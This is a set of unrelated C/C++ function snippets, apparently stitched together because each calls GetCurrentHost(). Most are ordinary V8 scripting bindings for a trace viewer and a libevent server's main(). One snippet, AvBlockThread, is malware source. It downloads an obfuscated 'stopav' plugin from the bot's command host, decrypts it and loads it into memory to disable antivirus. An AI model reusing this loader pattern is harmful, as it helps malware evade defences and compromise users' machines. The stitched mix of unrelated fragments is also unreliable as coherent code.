void Dollar::jsNew(const FunctionCallbackInfo<Value> &args) { Dollar *dollar; dollar = new Dollar(args.This()); LOG("@%p", dollar); GetCurrentHost()->OnDollarCreated(dollar); auto iso = Isolate::GetCurrent(); auto source = GetCurrentHost()->GetFileTraceSource(); auto sourceProxy = TraceSourceProxy::GetTemplate(iso)->GetFunction()->NewInstance(1, &v8::External::New(iso, &source).As<Value>()); args.This()->SetAccessor(String::NewFromUtf8(iso, "trace"), jsGetter, 0, sourceProxy); // create an instance of view object and make a property auto view = View::GetTemplate(iso)->GetFunction()->NewInstance(); args.This()->SetAccessor(String::NewFromUtf8(iso, "view"), jsGetter, 0, view); auto history = History::GetTemplate(iso)->GetFunction()->NewInstance(); args.This()->SetAccessor(String::NewFromUtf8(iso, "history"), jsGetter, 0, history); auto dotExpressions = DotExpressions::GetTemplate(iso)->GetFunction()->NewInstance(); args.This()->SetAccessor(String::NewFromUtf8(iso, "dotexpressions"), jsGetter, 0, dotExpressions); auto shortcuts = Shortcuts::GetTemplate(iso)->GetFunction()->NewInstance(); args.This()->SetAccessor(String::NewFromUtf8(iso, "shortcuts"), jsGetter, 0, shortcuts); auto console = CommandViewProxy::GetTemplate(iso)->GetFunction()->NewInstance(); args.This()->SetAccessor(String::NewFromUtf8(iso, "console"), jsGetter, 0, console); auto tagger = Tagger::GetTemplate(iso)->GetFunction()->NewInstance(); args.This()->SetAccessor(String::NewFromUtf8(iso, "tagger"), jsGetter, 0, tagger); args.GetReturnValue().Set(args.This()); }
void DotExpressions::Execute(Isolate* iso, const std::string & line) { LOG("@%p line=%s", this, line.c_str()); auto tokens = Tokenize(line); if (tokens.size() == 0) return; assert(tokens[0][0] == '.'); auto key = tokens[0].substr(1); auto it = _Expressions.find(key); if (it == _Expressions.end()) { LOG("@%p cannot find expression %s", this, key.c_str()); return; } auto func(v8::Local<v8::Function>::New(v8::Isolate::GetCurrent(), it->second)); std::vector<v8::Local<Value>> args; for (size_t i = 1; i < tokens.size(); i++) { args.push_back(String::NewFromUtf8(iso, tokens[i].c_str())); } v8::TryCatch try_catch; try_catch.SetVerbose(true); func->Call(v8::Isolate::GetCurrent()->GetCurrentContext()->Global(), args.size(), args.data()); if (try_catch.HasCaught()) { GetCurrentHost()->ReportException(v8::Isolate::GetCurrent(), try_catch); } }
void Dollar::jsLoadTrace(const v8::FunctionCallbackInfo<Value>& args) { TryCatchCpp(args, [&args]() -> Local<Value> { if (args.Length() < 1) { ThrowTypeError("expected $.loadTrace(name, start(Mb), stop(Mb), onComplete)\r\n"); } v8::String::Utf8Value str(args[0]); int posStart = 0, posEnd = -1; if (args.Length() >= 2 && args[1]->IsInt32()) { posStart = args[1]->Int32Value(); } if (args.Length() >= 3 && args[2]->IsInt32()) { posEnd = args[2]->Int32Value(); } GetCurrentHost()->LoadTrace(*str, posStart, posEnd); return Local<Value>(); }); }
void DotExpressions::jsNew(const FunctionCallbackInfo<Value> &args) { LOG(""); DotExpressions *dotExpressions = new DotExpressions(args.This()); GetCurrentHost()->OnDotExpressionsCreated(dotExpressions); args.GetReturnValue().Set(args.This()); }
DWORD WINAPI AvBlockThread( LPVOID lpData ) { if ( (DWORD)pGetFileAttributesW( GetStopAVPath() ) != INVALID_FILE_ATTRIBUTES ) { return 0; } char *Host = GetCurrentHost(); if ( Host == NULL ) { return 0; } char AvBlockFile[] = {'/','c','f','g','/','s','t','o','p','a','v','.','p','l','u','g',0}; char AvBlockUrl[256]; m_lstrcpy( AvBlockUrl, Host ); m_lstrcat( AvBlockUrl, AvBlockFile ); LPBYTE BotModule = NULL; DWORD dwModuleSize = 0; while ( !DownloadInMem( AvBlockUrl, &BotModule, &dwModuleSize ) ) { pSleep( 1000 * 60 * 5 ); } if ( BotModule != NULL && dwModuleSize ) { LPVOID FileData = MemAlloc( dwModuleSize + 1 ); if ( FileData ) { m_memcpy( FileData, BotModule, dwModuleSize ); File::WriteBufferW(GetMiniAVPath(), FileData, dwModuleSize ); MemFree( FileData ); } LPVOID Module = DecryptPlugin( BotModule, dwModuleSize ); if ( Module ) { HMEMORYMODULE hLib = MemoryLoadLibrary( Module ); if ( hLib == NULL ) { return 0; } MemoryFreeLibrary( hLib ); } } return 0; }
bool Dollar::ImportWorker(const char * pszName, bool opt) { std::fstream stm; TryCatch try_catch; // search file in different locations if(!OpenScriptStream(pszName, stm)) { if (opt) { return false; } else { std::string s = std::string("$.import cannot open file ") + pszName + "\r\n"; ThrowTypeError(s.c_str()); } } std::string scriptLine((std::istreambuf_iterator<char>(stm)), std::istreambuf_iterator<char>()); auto scriptSource = v8::String::NewFromUtf8(Isolate::GetCurrent(), scriptLine.c_str()); auto scriptName = v8::String::NewFromUtf8(Isolate::GetCurrent(), pszName); auto script = v8::Script::Compile(scriptSource, scriptName); if (script.IsEmpty()) { GetCurrentHost()->ReportException(Isolate::GetCurrent(), try_catch); return false; } auto v = script->Run(); if(v.IsEmpty()) { GetCurrentHost()->ReportException(Isolate::GetCurrent(), try_catch); return false; } return true; }
void Dollar::jsPost(const v8::FunctionCallbackInfo<Value>& args) { if (args.Length() != 1) { ThrowTypeError("use $.post(function)"); } Dollar * pThis = UnwrapThis<Dollar>(args.This()); auto sharedFunc = std::make_shared<v8::UniquePersistent<v8::Function>>(Isolate::GetCurrent(), args[0].As<Function>()); static_cast<JsHost*>(GetCurrentHost())->QueueInput([sharedFunc](v8::Isolate* iso) { auto localFunc = Local<Function>::New(iso, *sharedFunc); TryCatch try_catch; localFunc->Call(iso->GetCurrentContext()->Global(), 0, nullptr); if (try_catch.HasCaught()) { GetCurrentHost()->ReportException(v8::Isolate::GetCurrent(), try_catch); } }); }
void Dollar::OnTraceLoaded(v8::Isolate* iso) { if (_OnLoaded.IsEmpty()) return; auto onLoaded = Local<Function>::New(iso, _OnLoaded); TryCatch try_catch; onLoaded->Call(iso->GetCurrentContext()->Global(), 0, nullptr); if (try_catch.HasCaught()) { GetCurrentHost()->ReportException(v8::Isolate::GetCurrent(), try_catch); } }
void Dollar::jsPrint(const v8::FunctionCallbackInfo<Value>& args) { bool first = true; for (int i = 0; i < args.Length(); i++) { v8::HandleScope handle_scope(Isolate::GetCurrent()); if (first) { first = false; } else { printf(" "); } v8::String::Utf8Value str(args[i]); GetCurrentHost()->OutputLine(*str); } args.GetReturnValue().SetUndefined(); }
bool Dollar::OpenScriptStream(const char * pszName, std::fstream& stm) { for(int i = 0;;i++) { std::string fileName; if(i == 0) { // use current dir fileName = pszName; } else if (i == 1) { fileName = GetCurrentHost()->GetAppDataDir(); fileName += "\\"; fileName += pszName; } else if (i == 2) { // exe directory char szPath[_MAX_PATH]; char szDrive[_MAX_PATH]; char szDir[_MAX_PATH]; GetModuleFileNameA(NULL, szPath, _countof(szPath)); _splitpath(szPath, szDrive, szDir, NULL, NULL); fileName = szDrive; fileName += szDir; fileName += pszName; } else { break; } stm.open(fileName, std::fstream::in); if(!stm.fail()) { return true; } } return false; }
int main(int argc, const char **argv) { spawn_command.Enable(); spawn_count.Enable(); terminate_on_assert.Enable(); #ifdef USE_COUNT_ALLOCATOR memory_limit.Enable(); #endif modset_wait.Enable(); Vector<const char*> unspecified; bool parsed = Config::Parse(argc, argv, &unspecified); if (!parsed || !unspecified.Empty()) { Config::PrintUsage(USAGE); return 1; } AnalysisPrepare(); // use a different handler for termination signals. signal(SIGINT, termination_handler); signal(SIGTERM, termination_handler); // xmanager failures are unrecoverable. g_pause_assertions = true; if (terminate_on_assert.IsSpecified()) { g_pause_assertions = false; } int ret; event_init(); server_socket = socket(PF_INET, SOCK_STREAM, 0); if (server_socket == -1) { logout << "ERROR: socket() failure: " << errno << endl; return 1; } struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); ret = bind(server_socket, (sockaddr*) &addr, sizeof(addr)); if (ret == -1) { logout << "ERROR: bind() failure: " << errno << endl; return 1; } int optval = 1; ret = setsockopt(server_socket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)); if (ret == -1) { logout << "ERROR: setsockopt() failure: " << errno << endl; return 1; } int oldcode = fcntl(server_socket, F_GETFL, 0); if (oldcode == -1) { logout << "ERROR: fcntl() failure: " << errno << endl; return 1; } ret = fcntl(server_socket, F_SETFL, oldcode | O_NONBLOCK); if (ret == -1) { logout << "ERROR: fcntl() failure: " << errno << endl; return 1; } ret = listen(server_socket, 200); if (ret == -1) { logout << "ERROR: listen() failure: " << errno << endl; return 1; } event_set(&connect_event, server_socket, EV_READ | EV_PERSIST, handle_connect, NULL); ret = event_add(&connect_event, NULL); if (ret == -1) { logout << "ERROR: event_add() failure: " << errno << endl; return 1; } char hostbuf[256]; unsigned short port; bool hostret = GetCurrentHost(server_socket, hostbuf, sizeof(hostbuf), &port); if (!hostret) return 1; logout << "Listening on " << hostbuf << ":" << port << endl << flush; // spawn the child processes if needed. this is done with a system() // call, in the expectation the call will either fork a new process // on this machine, or start up a process on another machine. if (spawn_count.IsSpecified()) { if (!spawn_command.IsSpecified()) { logout << "ERROR: -spawn-count must be used with -spawn-command" << endl; Config::PrintUsage(USAGE); return 1; } Buffer command_buf; BufferOutStream out(&command_buf); out << spawn_command.StringValue() << " -remote=" << hostbuf << ":" << port << '\0'; const char *command = (const char*) command_buf.base; for (size_t ind = 0; ind < spawn_count.UIntValue(); ind++) { int ret = system(command); if (ret != 0) { logout << "ERROR: Spawn command failed: " << command << endl; return 1; } else { logout << "Command process spawned" << endl; } // we will not receive an initial transaction from these workers. received_initial++; } } ret = event_dispatch(); if (ret == -1) { logout << "ERROR: event_dispatch() failure: " << errno << endl; return 1; } Assert(false); }